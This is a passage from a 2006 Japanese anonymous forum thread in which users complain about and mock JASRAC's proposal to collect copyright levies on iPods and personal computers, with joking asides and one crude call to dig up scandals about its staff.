>>1の言ってる事がよくわからんのだが、誰か分かりやすく言ってくれ

751 :名無しさん@6周年:2006/05/24(水) 17:48:55 ID:Hev4fEfG0
No Money, No Music

752 :名無しさん@6周年:2006/05/24(水) 17:49:29 ID:HqgB6onX0
国が著作権DB作って、利用料回収団体を自由に民間参入させれば良いんじゃないの?
JASRAC独占はウザ過ぎ。

753 :名無しさん@6周年:2006/05/24(水) 17:49:35 ID:pgwJgGTE0
>>750
ipodから取り損ねた。
あと、PCでも録音できるしiTMSから買って入手したりできるから、
PCも音楽機器扱いにして金取るぜ。

754 :名無しさん@6周年:2006/05/24(水) 17:53:26 ID:Hyl8cEd90
JASRACの存在意義を強調するカキコは一応、納得できる理由と思う。
無許可カラオケなんかはビシビシやって欲しい。
ところが、なぜだか
・細々と、しかも輸入盤だけをかけてるJazz喫茶
・障害者主催の歌声喫茶
にまでカネを要求する姿勢は、どうしても納得できない。以前はココまで考えてた。

ところが、iPodのみならずパソコンまで対象に、って主張を拝見して
一気に納得した。

見 る も の 全 て が カ ネ の な る 木 に み え る

のですね。非常に分かりやすいです。

755 :名無しさん@6周年:2006/05/24(水) 17:53:50 ID:OZt3nbr30
カスラックはまじで潰さないとダメだな
職員を徹底マークしてスキャンダル掘り出せ

756 :名無しさん@6周年:2006/05/24(水) 18:01:35 ID:cYKJ4NDn0
俺のハードディスクはエロで満杯なんだが、徴収した金はエロビデオ会社にも分配するのか?

757 :名無しさん@6周年:2006/05/24(水) 18:04:55 ID:yjENGW500
>>756
音楽以外のデータ焼いたCDを何枚かJASRACに送って確認させたら
たしか8円くらい戻ってきたっていう話があったよ。

そのHDD送って確認させれば金返ってくるんじゃないの

758 :名無しさん@6周年:2006/05/24(水) 18:05:57 ID:939Z60X80
音楽など聴かん。

>>96
名スレ認定

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